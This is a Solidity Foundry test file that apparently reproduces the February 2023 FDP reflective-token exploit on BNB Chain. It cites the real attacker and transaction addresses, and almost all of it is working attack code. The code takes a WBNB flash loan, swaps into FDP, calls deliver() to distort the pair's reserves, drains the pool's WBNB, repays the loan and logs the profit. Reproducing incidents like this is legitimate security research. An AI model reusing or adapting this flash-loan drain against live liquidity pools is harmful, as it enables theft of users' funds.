src/test/2023-02/FDP_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5 
6// Attacker: https://bscscan.com/address/0xc726bd0e973722e17eb088b8fcfedaa931fa0293
7// Attack Contract: https://bscscan.com/address/0xe02970bd38b283c3079720c1e71001abe001bc83
8// Attack Tx: https://phalcon.blocksec.com/tx/bsc/0x09925028ce5d6a54801d04ff8f39e79af6c24289e84b301ddcdb6adfa51e901b
9//            https://bscscan.com/tx/0x09925028ce5d6a54801d04ff8f39e79af6c24289e84b301ddcdb6adfa51e901b
10 
11// @Analysis
12// https://twitter.com/BeosinAlert/status/1622806011269771266
13 
14contract Exploit is Test {
15    IWETH private constant WBNB = IWETH(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
16    reflectiveERC20 private constant FDP = reflectiveERC20(0x1954b6bd198c29c3ecF2D6F6bc70A4D41eA1CC07);
17    IUniswapV2Pair private constant FDP_WBNB = IUniswapV2Pair(0x6db8209C3583E7Cecb01d3025c472D1eDDBE49F3);
18 
19    IRouter private constant router = IRouter(0x10ED43C718714eb63d5aA57B78B54704E256024E);
20    IDPPOracle private constant DPP = IDPPOracle(0xFeAFe253802b77456B4627F8c2306a9CeBb5d681);
21 
22    function testHack() external {
23        vm.createSelectFork("bsc", 25_430_418);
24 
25        // flashloan 16.32 WBNB
26        DPP.flashLoan(16.32 ether, 0, address(this), "0x1");
27    }
28 
29    function DPPFlashLoanCall(address, uint256 baseAmount, uint256, bytes calldata) external {
30        // console.log("%s FDP in Pair before swap", FDP.balanceOf(address(FDP_WBNB)) / 1e18);  // putting console.log here make test fail ?
31 
32        // swap some WBNB to FDP
33        WBNB.approve(address(router), type(uint256).max);
34        FDP.approve(address(router), type(uint256).max);
35        address[] memory path = new address[](2);
36        path[0] = address(WBNB);
37        path[1] = address(FDP);
38        router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
39            16.32 ether, 0, path, address(this), type(uint256).max
40        );
41 
42        console.log("%s FDP in Pair before deliver", FDP.balanceOf(address(FDP_WBNB)) / 1e18);
43        console.log("%s FDP in attack contract before deliver", FDP.balanceOf(address(this)) / 1e18);
44        console.log("-------------Delivering-------------");
45        // 49925109590047580102880 in attack contract before deliver
46        FDP.deliver(28_463.16 ether); // 28463162603585437380302 (8 decimals)
47 
48        console.log("%s FDP in Pair after deliver", FDP.balanceOf(address(FDP_WBNB)) / 1e18);
49        console.log("%s FDP in attack contract after deliver", FDP.balanceOf(address(this)) / 1e18);
50 
51        FDP_WBNB.swap(
52            0,
53            WBNB.balanceOf(address(FDP_WBNB)) - 0.15 ether, // 32.44 ether
54            address(this),
55            ""
56        );
57 
58        // repay
59        WBNB.transfer(address(DPP), baseAmount);
60        console.log("\n Attacker's profit: %s WBNB", WBNB.balanceOf(address(this)) / 1e18);
61    }
62}
63 
64/* -------------------- Interface -------------------- */
65interface reflectiveERC20 {
66    function transfer(address to, uint256 amount) external returns (bool);
67    function approve(address spender, uint256 amount) external returns (bool);
68    function balanceOf(
69        address account
70    ) external view returns (uint256);
71    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
72 
73    function deliver(
74        uint256 tAmount
75    ) external;
76}
77 
78interface IWETH {
79    function deposit() external payable;
80    function transfer(address to, uint256 value) external returns (bool);
81    function approve(address guy, uint256 wad) external returns (bool);
82    function withdraw(
83        uint256 wad
84    ) external;
85    function balanceOf(
86        address
87    ) external view returns (uint256);
88}
89 
90interface IDPPOracle {
91    function flashLoan(uint256 baseAmount, uint256 quoteAmount, address sender, bytes calldata data) external;
92}
93 
94interface IRouter {
95    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
96        uint256 amountIn,
97        uint256 amountOutMin,
98        address[] calldata path,
99        address to,
100        uint256 deadline
101    ) external;
102}
103 
104interface IUniswapV2Pair {
105    function balanceOf(
106        address
107    ) external view returns (uint256);
108    function skim(
109        address to
110    ) external;
111    function sync() external;
112    function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes memory data) external;
113}